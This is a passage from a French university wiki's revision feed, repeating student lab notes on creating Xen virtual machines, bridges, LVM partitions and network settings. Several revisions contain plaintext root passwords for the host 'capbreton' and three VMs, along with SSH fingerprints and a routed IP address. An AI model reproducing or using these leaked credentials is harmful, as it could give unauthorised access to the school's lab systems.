Root Password   :  PgvMbhYvgtksg8tmiJnVZnQ&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;LinusTorvalds :&amp;lt;syntaxhighlight lang=&amp;quot;shell&amp;quot;&amp;gt;&lt;br /&gt;
 Installation Summary&lt;br /&gt;
---------------------&lt;br /&gt;
Hostname        :  SE4.LinusTorvalds&lt;br /&gt;
Distribution    :  daedalus&lt;br /&gt;
MAC Address     :  00:16:3E:AA:BF:EF&lt;br /&gt;
IP Address(es)  :  dynamic&lt;br /&gt;
SSH Fingerprint :  SHA256:ouY/2dce0YI/mJD9Qw68oKU0xdw6Cs9ybgJxRm/FKiI (DSA)&lt;br /&gt;
SSH Fingerprint :  SHA256:p5lZznE0q8j6c68YTF5toYgBugOkc0IopTO+Ce9SiZ8 (ECDSA)&lt;br /&gt;
SSH Fingerprint :  SHA256:FbqBOG+0bBjuQBOlAytAlbMV/9VoJ8BAlFadG/VaGD4 (ED25519)&lt;br /&gt;
SSH Fingerprint :  SHA256:FCEtQGUhMhN9DDtTmt5zts/9PeC7ahnmJA7UOhMnGeg (RSA)&lt;br /&gt;
Root Password   :  ekrmCSKb3ZAxXSYvNpjbiSK&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
==== Etape 4 : ====&lt;br /&gt;
PHRASE MANQUANTE&amp;lt;syntaxhighlight lang=&amp;quot;shell&amp;quot;&amp;gt;&lt;br /&gt;
xen create /etc/xen/SE4.Manjaro.cfg&lt;br /&gt;
xen create /etc/xen/SE4.CachyOS.cfg&lt;br /&gt;
xen create /etc/xen/SE4.LinusTorvalds.cfg&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;On vérifie la liste des machines lancées via : &amp;lt;syntaxhighlight lang=&amp;quot;shell&amp;quot;&amp;gt;&lt;br /&gt;
xen list&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
===== Nos résultats : =====&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;shell&amp;quot;&amp;gt;&lt;br /&gt;
Name                                        ID   Mem VCPUs    State    Time(s)&lt;br /&gt;
SE4.CachyOS                                 83  2048     1     -b----       5.6&lt;br /&gt;
SE4.Manjaro                                 85  2048     1     -b----       5.8&lt;br /&gt;
SE4.LinusTorvalds                           87  2048     1     -b----       5.3&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
==== Etape 5 : Partition ====&lt;br /&gt;
&lt;br /&gt;
===== Sur capbreton =====&lt;br /&gt;
&lt;br /&gt;
On partionne avec cette commande :&amp;lt;syntaxhighlight lang=&amp;quot;shell&amp;quot;&amp;gt;&lt;br /&gt;
lvcreate -n SE4.CachyOS.var -L 10G virtual&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
On éteint notre machine : &amp;lt;syntaxhighlight lang=&amp;quot;shell&amp;quot;&amp;gt;&lt;br /&gt;
xen shutdown SE4.CachyOS&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
Et on modifie :&amp;lt;syntaxhighlight lang=&amp;quot;shell&amp;quot;&amp;gt;&lt;br /&gt;
vim /etc/xen/SE4.CachyOS.cfg&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
Et on ajoute ceci :&amp;lt;syntaxhighlight lang=&amp;quot;shell&amp;quot;&amp;gt;&lt;br /&gt;
disk = [&lt;br /&gt;
            [...],&lt;br /&gt;
            'phy:/dev/virtual/SE4.CachyOS.home,xvda3,w',&lt;br /&gt;
            'phy:/dev/virtual/SE4.CachyOS.var,xvdb1,w'&lt;br /&gt;
        ]&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
===== Sur la machine mandataire =====&lt;br /&gt;
&lt;br /&gt;
Nous ajoutons les partitions dans '''''/etc/fstab''''' : &amp;lt;syntaxhighlight lang=&amp;quot;shell&amp;quot;&amp;gt;&lt;br /&gt;
/dev/xvda3 /var ext4 defaults 0 2&lt;br /&gt;
/dev/xvdb1 /home ext4 defaults 0 2&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
Nous formatons les partitions avant de les utiliser : &amp;lt;syntaxhighlight lang=&amp;quot;shell&amp;quot;&amp;gt;&lt;br /&gt;
mkfs -t ext4 /dev/xvda3&lt;br /&gt;
mkfs -t ext4 /dev/xvdb1&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
Nous copions le contenu de '''/var''' : &amp;lt;syntaxhighlight lang=&amp;quot;shell&amp;quot;&amp;gt;&lt;br /&gt;
mount /dev/xvda3 /mnt&lt;br /&gt;
mv /var/* /mnt&lt;br /&gt;
umount /mnt&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
Nous montons ensuite automatiquement les partitions définies dans '''/etc/fstab''' : &amp;lt;syntaxhighlight lang=&amp;quot;shell&amp;quot;&amp;gt;&lt;br /&gt;
mount -a&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
===== De nouveaux sur capbreton =====&lt;br /&gt;
On redémarre notre machine : &amp;lt;syntaxhighlight lang=&amp;quot;shell&amp;quot;&amp;gt;&lt;br /&gt;
xen create /etc/xen/SE4.CachyOS.cfg&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
Ensuite on se connecte à notre VM via :&amp;lt;syntaxhighlight lang=&amp;quot;shell&amp;quot;&amp;gt;&lt;br /&gt;
xen console SE4.CachyOS&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
===== Machines de Service - CachyOS &amp;amp; Manjaro =====&lt;br /&gt;
Dans notre VM :&lt;br /&gt;
&lt;br /&gt;
On modifie  :&amp;lt;syntaxhighlight lang=&amp;quot;shell&amp;quot;&amp;gt;&lt;br /&gt;
vim /etc/network/interfaces&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
Et on ajoute ceci :&amp;lt;syntaxhighlight lang=&amp;quot;shell&amp;quot;&amp;gt;&lt;br /&gt;
auto eth0&lt;br /&gt;
iface eth0 inet static&lt;br /&gt;
    address 172.60.0.3/24&lt;br /&gt;
    gateway 172.60.0.1&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
* 172.60.0.3 est l'adresse IP de la VM CachyOS&lt;br /&gt;
&lt;br /&gt;
===== Machine Mandataire - LinusTorvalds =====&lt;br /&gt;
La machine mandataire agit comme passerelle IPv4 pour les machines de services. Voici sa configuration réseau :&amp;lt;syntaxhighlight lang=&amp;quot;shell&amp;quot;&amp;gt;&lt;br /&gt;
auto eth0&lt;br /&gt;
iface eth0 inet static&lt;br /&gt;
        address 172.60.0.1/24&lt;br /&gt;
&lt;br /&gt;
auto eth1&lt;br /&gt;
iface eth1 inet static&lt;br /&gt;
        address 193.48.57.166/24&lt;br /&gt;
        gateway 193.48.57.162&lt;br /&gt;
iface eth1 inet6 auto&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
La machine mandataire va posséder trois adresses. Une adresse IPv6 routée, une adresse IPv4 routée et une adresse IPv4 pour le réseau privé avec ces deux machines de services. Pour ce faire, nous devons au préalable configurer une nouvelle interface eth1 pour y intégrer la seconde adresse IPv4.&lt;br /&gt;
&lt;br /&gt;
Sur capbreton, depuis &amp;lt;code&amp;gt;/etc/xen/SE4.CachyOS.cfg :&amp;lt;/code&amp;gt;&amp;lt;syntaxhighlight lang=&amp;quot;shell&amp;quot;&amp;gt;&lt;br /&gt;
vif = [[...], 'mac=00:16:3E:8B:45:ED']&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;Pour l'adresse mac on prend celui existant et on fait +1.&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
Depuis &amp;lt;code&amp;gt;/etc/resolv.conf :&amp;lt;/code&amp;gt;&amp;lt;syntaxhighlight lang=&amp;quot;shell&amp;quot;&amp;gt;&lt;br /&gt;
nameserver 8.8.8.8&lt;br /&gt;
&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
==== SSH ====&lt;br /&gt;
&lt;br /&gt;
=== Utiles ===&lt;br /&gt;
&lt;br /&gt;
=== XEN ===&lt;br /&gt;
''&amp;lt;u&amp;gt;Liste des VMs allumées :&amp;lt;/u&amp;gt;'' &amp;lt;syntaxhighlight lang=&amp;quot;shell&amp;quot;&amp;gt;&lt;br /&gt;
xen list&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
''&amp;lt;u&amp;gt;Se connecter à la VM :&amp;lt;/u&amp;gt;''&amp;lt;syntaxhighlight lang=&amp;quot;shell&amp;quot;&amp;gt;&lt;br /&gt;
xen console &amp;lt;nomMachine&amp;gt;&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;nomMachine : dans notre cas soit SE4.Manjaro | SE4.CachyOS | SE4.LinusTorvalds&lt;br /&gt;
''&amp;lt;u&amp;gt;Sortir de la console xen :&amp;lt;/u&amp;gt;''&amp;lt;syntaxhighlight lang=&amp;quot;shell&amp;quot;&amp;gt;&lt;br /&gt;
Ctrl + Shift + 5&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;''&amp;lt;u&amp;gt;Eteindre une VM :&amp;lt;/u&amp;gt;'' &amp;lt;syntaxhighlight lang=&amp;quot;shell&amp;quot;&amp;gt;&lt;br /&gt;
xen shutdown &amp;lt;nomMachine&amp;gt;&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;nomMachine : dans notre cas soit SE4.Manjaro | SE4.CachyOS | SE4.LinusTorvalds&lt;br /&gt;
&lt;br /&gt;
''&amp;lt;u&amp;gt;Allumer une VM :&amp;lt;/u&amp;gt;''&amp;lt;syntaxhighlight lang=&amp;quot;shell&amp;quot;&amp;gt;&lt;br /&gt;
xen create /etc/xen/&amp;lt;nomMachine&amp;gt;.cfg&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;/div&gt;</summary>
		<author><name>Cpayet</name></author>
	</entry>
	<entry>
		<id>https://wiki-se.plil.fr/mediawiki/index.php?title=Atelier_SysRes_SE4_2025/2026_E5&amp;diff=11398</id>
		<title>Atelier SysRes SE4 2025/2026 E5</title>
		<link rel="alternate" type="text/html" href="https://wiki-se.plil.fr/mediawiki/index.php?title=Atelier_SysRes_SE4_2025/2026_E5&amp;diff=11398"/>
		<updated>2026-01-26T10:09:30Z</updated>

		<summary type="html">&lt;p&gt;Cpayet : /* Configuration réseau */&lt;/p&gt;
&lt;hr /&gt;
&lt;div&gt;=== Compte rendu des commandes effectués ===&lt;br /&gt;
&lt;br /&gt;
==== Etape 1 : Connexion SSH ====&lt;br /&gt;
ssh root@capbreton&lt;br /&gt;
&lt;br /&gt;
Mot de passe : g0llum_fr0d0&lt;br /&gt;
&lt;br /&gt;
==== Etape 2 : Créer un fichier dans le répertoire /etc/network/interfaces.d du Dom0 aux noms du binôme concerné ====&lt;br /&gt;
On se déplace à ce répertoire :&amp;lt;syntaxhighlight lang=&amp;quot;shell&amp;quot;&amp;gt;&lt;br /&gt;
 cd /etc/network/interfaces.d/&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;On créer ensuite ensuite un fichier aux noms de notre binôme et on l'édite :&amp;lt;syntaxhighlight lang=&amp;quot;shell&amp;quot;&amp;gt;&lt;br /&gt;
touch SE42026_cpayet_tdelobel&lt;br /&gt;
vim SE42026_cpayet_tdelobel&lt;br /&gt;
&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;Puis on donne un nom au bridge, ici c'est `pont_pacman`et on met dans le fichier ceci :&amp;lt;syntaxhighlight lang=&amp;quot;shell&amp;quot;&amp;gt;&lt;br /&gt;
auto pont_pacman&lt;br /&gt;
iface pont_pacman inet manual&lt;br /&gt;
    bridge_ports none&lt;br /&gt;
    up ip link set $IFACE up&lt;br /&gt;
    down ip link set $IFACE down&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;Une fois le pont créer, il faut le démarrer :&amp;lt;syntaxhighlight lang=&amp;quot;shell&amp;quot;&amp;gt;&lt;br /&gt;
ifup pont_pacman&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
==== Etape 3 : Création des VMs ====&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;shell&amp;quot;&amp;gt;&lt;br /&gt;
xen-create-image --hostname=SE4.CachyOS         --dhcp --bridge=pont_pacman --dir=/usr/local/xen --size=10G --dist=daedalus --memory=2048M --force&lt;br /&gt;
xen-create-image --hostname=SE4.Manjaro         --dhcp --bridge=pont_pacman --dir=/usr/local/xen --size=10G --dist=daedalus --memory=2048M --force&lt;br /&gt;
xen-create-image --hostname=SE4.LinusTorvalds   --dhcp --bridge=pont_pacman --dir=/usr/local/xen --size=10G --dist=daedalus --memory=2048M --force&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;On adapte les hostnames en fonction des nom de nos machines. &lt;br /&gt;
&lt;br /&gt;
'''''IMPORTANT :''''' Les résultats des commandes sont à noter car ellles contiennent les mots de passe et autres informations importantes.&lt;br /&gt;
&lt;br /&gt;
===== Nos résultats : =====&lt;br /&gt;
CachyOS : &amp;lt;syntaxhighlight lang=&amp;quot;shell&amp;quot;&amp;gt;&lt;br /&gt;
 Installation Summary&lt;br /&gt;
---------------------&lt;br /&gt;
Hostname        :  SE4.CachyOS&lt;br /&gt;
Distribution    :  daedalus&lt;br /&gt;
MAC Address     :  00:16:3E:8B:45:EC&lt;br /&gt;
IP Address(es)  :  dynamic&lt;br /&gt;
SSH Fingerprint :  SHA256:B0Jej6oBYnqo6BNAkuT73+1FRTAu7w+ynwLcL9MUw84 (DSA)&lt;br /&gt;
SSH Fingerprint :  SHA256:Ko3kxxNtx498I5wyPFzNF2StKYL4tOvV0vHbRyggX6g (ECDSA)&lt;br /&gt;
SSH Fingerprint :  SHA256:QPTYZy5CwrYDXRgiQsx/suQfg6af4dqxzA5ySj35/k4 (ED25519)&lt;br /&gt;
SSH Fingerprint :  SHA256:Z3zPgtowyJ1xXzc4MS2Iugy2rsO/7Gsmwm93OLV3yUE (RSA)&lt;br /&gt;
Root Password   :  FDigbGcTyh86QnvLWyT8wh3&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;Manjaro : &amp;lt;syntaxhighlight lang=&amp;quot;shell&amp;quot;&amp;gt;&lt;br /&gt;
&lt;br /&gt;
Installation Summary&lt;br /&gt;
---------------------&lt;br /&gt;
Hostname        :  SE4.Manjaro&lt;br /&gt;
Distribution    :  daedalus&lt;br /&gt;
MAC Address     :  00:16:3E:36:79:D8&lt;br /&gt;
IP Address(es)  :  dynamic&lt;br /&gt;
SSH Fingerprint :  SHA256:n+ojtWyKBODRtEppjCvAp6nd2cjL/Ily54j0cM03lMc (DSA)&lt;br /&gt;
SSH Fingerprint :  SHA256:K+Qa9NAU3JIGsMy3LEYCgFbfL3ozuiRKG+U3XsbV5ow (ECDSA)&lt;br /&gt;
SSH Fingerprint :  SHA256:AJLfxk4Zz8BZflWYOS8mifapH+uAFgGKA3WSj6rN0NA (ED25519)&lt;br /&gt;
SSH Fingerprint :  SHA256:/6iWOWoii0nJsbScwVYIGQAbuTI1/YIpaRyRdBl8mwE (RSA)&lt;br /&gt;
Root Password   :  PgvMbhYvgtksg8tmiJnVZnQ&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;LinusTorvalds :&amp;lt;syntaxhighlight lang=&amp;quot;shell&amp;quot;&amp;gt;&lt;br /&gt;
 Installation Summary&lt;br /&gt;
---------------------&lt;br /&gt;
Hostname        :  SE4.LinusTorvalds&lt;br /&gt;
Distribution    :  daedalus&lt;br /&gt;
MAC Address     :  00:16:3E:AA:BF:EF&lt;br /&gt;
IP Address(es)  :  dynamic&lt;br /&gt;
SSH Fingerprint :  SHA256:ouY/2dce0YI/mJD9Qw68oKU0xdw6Cs9ybgJxRm/FKiI (DSA)&lt;br /&gt;
SSH Fingerprint :  SHA256:p5lZznE0q8j6c68YTF5toYgBugOkc0IopTO+Ce9SiZ8 (ECDSA)&lt;br /&gt;
SSH Fingerprint :  SHA256:FbqBOG+0bBjuQBOlAytAlbMV/9VoJ8BAlFadG/VaGD4 (ED25519)&lt;br /&gt;
SSH Fingerprint :  SHA256:FCEtQGUhMhN9DDtTmt5zts/9PeC7ahnmJA7UOhMnGeg (RSA)&lt;br /&gt;
Root Password   :  ekrmCSKb3ZAxXSYvNpjbiSK&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
==== Etape 4 : ====&lt;br /&gt;
PHRASE MANQUANTE&amp;lt;syntaxhighlight lang=&amp;quot;shell&amp;quot;&amp;gt;&lt;br /&gt;
xen create /etc/xen/SE4.Manjaro.cfg&lt;br /&gt;
xen create /etc/xen/SE4.CachyOS.cfg&lt;br /&gt;
xen create /etc/xen/SE4.LinusTorvalds.cfg&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;On vérifie la liste des machines lancées via : &amp;lt;syntaxhighlight lang=&amp;quot;shell&amp;quot;&amp;gt;&lt;br /&gt;
xen list&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
===== Nos résultats : =====&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;shell&amp;quot;&amp;gt;&lt;br /&gt;
Name                                        ID   Mem VCPUs    State    Time(s)&lt;br /&gt;
SE4.CachyOS                                 83  2048     1     -b----       5.6&lt;br /&gt;
SE4.Manjaro                                 85  2048     1     -b----       5.8&lt;br /&gt;
SE4.LinusTorvalds                           87  2048     1     -b----       5.3&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
==== Etape 5 : Partition ====&lt;br /&gt;
&lt;br /&gt;
===== Sur capbreton =====&lt;br /&gt;
&lt;br /&gt;
On partionne avec cette commande :&amp;lt;syntaxhighlight lang=&amp;quot;shell&amp;quot;&amp;gt;&lt;br /&gt;
lvcreate -n SE4.CachyOS.var -L 10G virtual&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
On éteint notre machine : &amp;lt;syntaxhighlight lang=&amp;quot;shell&amp;quot;&amp;gt;&lt;br /&gt;
xen shutdown SE4.CachyOS&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
Et on modifie :&amp;lt;syntaxhighlight lang=&amp;quot;shell&amp;quot;&amp;gt;&lt;br /&gt;
vim /etc/xen/SE4.CachyOS.cfg&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
Et on ajoute ceci :&amp;lt;syntaxhighlight lang=&amp;quot;shell&amp;quot;&amp;gt;&lt;br /&gt;
disk = [&lt;br /&gt;
            [...],&lt;br /&gt;
            'phy:/dev/virtual/SE4.CachyOS.home,xvda3,w',&lt;br /&gt;
            'phy:/dev/virtual/SE4.CachyOS.var,xvdb1,w'&lt;br /&gt;
        ]&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
===== Sur la machine mandataire =====&lt;br /&gt;
&lt;br /&gt;
Nous ajoutons les partitions dans '''''/etc/fstab''''' : &amp;lt;syntaxhighlight lang=&amp;quot;shell&amp;quot;&amp;gt;&lt;br /&gt;
/dev/xvda3 /var ext4 defaults 0 2&lt;br /&gt;
/dev/xvdb1 /home ext4 defaults 0 2&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
Nous formatons les partitions avant de les utiliser : &amp;lt;syntaxhighlight lang=&amp;quot;shell&amp;quot;&amp;gt;&lt;br /&gt;
mkfs -t ext4 /dev/xvda3&lt;br /&gt;
mkfs -t ext4 /dev/xvdb1&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
Nous copions le contenu de '''/var''' : &amp;lt;syntaxhighlight lang=&amp;quot;shell&amp;quot;&amp;gt;&lt;br /&gt;
mount /dev/xvda3 /mnt&lt;br /&gt;
mv /var/* /mnt&lt;br /&gt;
umount /mnt&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
Nous montons ensuite automatiquement les partitions définies dans '''/etc/fstab''' : &amp;lt;syntaxhighlight lang=&amp;quot;shell&amp;quot;&amp;gt;&lt;br /&gt;
mount -a&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
===== De nouveaux sur capbreton =====&lt;br /&gt;
On redémarre notre machine : &amp;lt;syntaxhighlight lang=&amp;quot;shell&amp;quot;&amp;gt;&lt;br /&gt;
xen create /etc/xen/SE4.CachyOS.cfg&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
Ensuite on se connecte à notre VM via :&amp;lt;syntaxhighlight lang=&amp;quot;shell&amp;quot;&amp;gt;&lt;br /&gt;
xen console SE4.CachyOS&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
===== Machines de Service - CachyOS &amp;amp; Manjaro =====&lt;br /&gt;
Dans notre VM :&lt;br /&gt;
&lt;br /&gt;
On modifie  :&amp;lt;syntaxhighlight lang=&amp;quot;shell&amp;quot;&amp;gt;&lt;br /&gt;
vim /etc/network/interfaces&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
Et on ajoute ceci :&amp;lt;syntaxhighlight lang=&amp;quot;shell&amp;quot;&amp;gt;&lt;br /&gt;
auto eth0&lt;br /&gt;
iface eth0 inet static&lt;br /&gt;
    address 172.60.0.3/24&lt;br /&gt;
    gateway 172.60.0.1&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
* 172.60.0.3 est l'adresse IP de la VM CachyOS&lt;br /&gt;
&lt;br /&gt;
===== Machine Mandataire - LinusTorvalds =====&lt;br /&gt;
La machine mandataire agit comme passerelle IPv4 pour les machines de services. Voici sa configuration réseau :&amp;lt;syntaxhighlight lang=&amp;quot;shell&amp;quot;&amp;gt;&lt;br /&gt;
auto eth0&lt;br /&gt;
iface eth0 inet static&lt;br /&gt;
        address 172.60.0.1/24&lt;br /&gt;
&lt;br /&gt;
auto eth1&lt;br /&gt;
iface eth1 inet static&lt;br /&gt;
        address 193.48.57.166/24&lt;br /&gt;
        gateway 193.48.57.162&lt;br /&gt;
iface eth1 inet6 auto&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
==== Configuration réseau ====&lt;br /&gt;
&lt;br /&gt;
La machine mandataire va posséder trois adresses. Une adresse IPv6 routée, une adresse IPv4 routée et une adresse IPv4 pour le réseau privé avec ces deux machines de services. Pour ce faire, nous devons au préalable configurer une nouvelle interface eth1 pour y intégrer la seconde adresse IPv4.&lt;br /&gt;
&lt;br /&gt;
Depuis &amp;lt;code&amp;gt;/etc/xen/SE4.CachyOS.cfg :&amp;lt;/code&amp;gt;&amp;lt;syntaxhighlight lang=&amp;quot;shell&amp;quot;&amp;gt;&lt;br /&gt;
vif = [[...], 'mac=00:16:3E:8B:45:ED']&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;Pour l'adresse mac on prend celui existant et on fait +1.&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
Depuis &amp;lt;code&amp;gt;/etc/resolv.conf :&amp;lt;/code&amp;gt;&amp;lt;syntaxhighlight lang=&amp;quot;shell&amp;quot;&amp;gt;&lt;br /&gt;
nameserver 8.8.8.8&lt;br /&gt;
&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
=== Utiles ===&lt;br /&gt;
&lt;br /&gt;
=== XEN ===&lt;br /&gt;
''&amp;lt;u&amp;gt;Liste des VMs allumées :&amp;lt;/u&amp;gt;'' &amp;lt;syntaxhighlight lang=&amp;quot;shell&amp;quot;&amp;gt;&lt;br /&gt;
xen list&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
''&amp;lt;u&amp;gt;Se connecter à la VM :&amp;lt;/u&amp;gt;''&amp;lt;syntaxhighlight lang=&amp;quot;shell&amp;quot;&amp;gt;&lt;br /&gt;
xen console &amp;lt;nomMachine&amp;gt;&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;nomMachine : dans notre cas soit SE4.Manjaro | SE4.CachyOS | SE4.LinusTorvalds&lt;br /&gt;
''&amp;lt;u&amp;gt;Sortir de la console xen :&amp;lt;/u&amp;gt;''&amp;lt;syntaxhighlight lang=&amp;quot;shell&amp;quot;&amp;gt;&lt;br /&gt;
Ctrl + Shift + 5&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;''&amp;lt;u&amp;gt;Eteindre une VM :&amp;lt;/u&amp;gt;'' &amp;lt;syntaxhighlight lang=&amp;quot;shell&amp;quot;&amp;gt;&lt;br /&gt;
xen shutdown &amp;lt;nomMachine&amp;gt;&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;nomMachine : dans notre cas soit SE4.Manjaro | SE4.CachyOS | SE4.LinusTorvalds&lt;br /&gt;
&lt;br /&gt;
''&amp;lt;u&amp;gt;Allumer une VM :&amp;lt;/u&amp;gt;''&amp;lt;syntaxhighlight lang=&amp;quot;shell&amp;quot;&amp;gt;&lt;br /&gt;
xen create /etc/xen/&amp;lt;nomMachine&amp;gt;.cfg&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;/div&gt;</summary>
		<author><name>Cpayet</name></author>
	</entry>
	<entry>
		<id>https://wiki-se.plil.fr/mediawiki/index.php?title=Atelier_SysRes_SE4_2025/2026_E5&amp;diff=11394</id>
		<title>Atelier SysRes SE4 2025/2026 E5</title>
		<link rel="alternate" type="text/html" href="https://wiki-se.plil.fr/mediawiki/index.php?title=Atelier_SysRes_SE4_2025/2026_E5&amp;diff=11394"/>
		<updated>2026-01-26T09:53:57Z</updated>

		<summary type="html">&lt;p&gt;Cpayet : /* Configuration réseau */&lt;/p&gt;
&lt;hr /&gt;
&lt;div&gt;=== Compte rendu des commandes effectués ===&lt;br /&gt;
&lt;br /&gt;
==== Etape 1 : Connexion SSH ====&lt;br /&gt;
ssh root@capbreton&lt;br /&gt;
&lt;br /&gt;
Mot de passe : g0llum_fr0d0&lt;br /&gt;
&lt;br /&gt;
==== Etape 2 : Créer un fichier dans le répertoire /etc/network/interfaces.d du Dom0 aux noms du binôme concerné ====&lt;br /&gt;
On se déplace à ce répertoire :&amp;lt;syntaxhighlight lang=&amp;quot;shell&amp;quot;&amp;gt;&lt;br /&gt;
 cd /etc/network/interfaces.d/&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;On créer ensuite ensuite un fichier aux noms de notre binôme et on l'édite :&amp;lt;syntaxhighlight lang=&amp;quot;shell&amp;quot;&amp;gt;&lt;br /&gt;
touch SE42026_cpayet_tdelobel&lt;br /&gt;
vim SE42026_cpayet_tdelobel&lt;br /&gt;
&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;Puis on donne un nom au bridge, ici c'est `pont_pacman`et on met dans le fichier ceci :&amp;lt;syntaxhighlight lang=&amp;quot;shell&amp;quot;&amp;gt;&lt;br /&gt;
auto pont_pacman&lt;br /&gt;
iface pont_pacman inet manual&lt;br /&gt;
    bridge_ports none&lt;br /&gt;
    up ip link set $IFACE up&lt;br /&gt;
    down ip link set $IFACE down&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;Une fois le pont créer, il faut le démarrer :&amp;lt;syntaxhighlight lang=&amp;quot;shell&amp;quot;&amp;gt;&lt;br /&gt;
ifup pont_pacman&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
==== Etape 3 : Création des VMs ====&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;shell&amp;quot;&amp;gt;&lt;br /&gt;
xen-create-image --hostname=SE4.CachyOS         --dhcp --bridge=pont_pacman --dir=/usr/local/xen --size=10G --dist=daedalus --memory=2048M --force&lt;br /&gt;
xen-create-image --hostname=SE4.Manjaro         --dhcp --bridge=pont_pacman --dir=/usr/local/xen --size=10G --dist=daedalus --memory=2048M --force&lt;br /&gt;
xen-create-image --hostname=SE4.LinusTorvalds   --dhcp --bridge=pont_pacman --dir=/usr/local/xen --size=10G --dist=daedalus --memory=2048M --force&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;On adapte les hostnames en fonction des nom de nos machines. &lt;br /&gt;
&lt;br /&gt;
'''''IMPORTANT :''''' Les résultats des commandes sont à noter car ellles contiennent les mots de passe et autres informations importantes.&lt;br /&gt;
&lt;br /&gt;
===== Nos résultats : =====&lt;br /&gt;
CachyOS : &amp;lt;syntaxhighlight lang=&amp;quot;shell&amp;quot;&amp;gt;&lt;br /&gt;
 Installation Summary&lt;br /&gt;
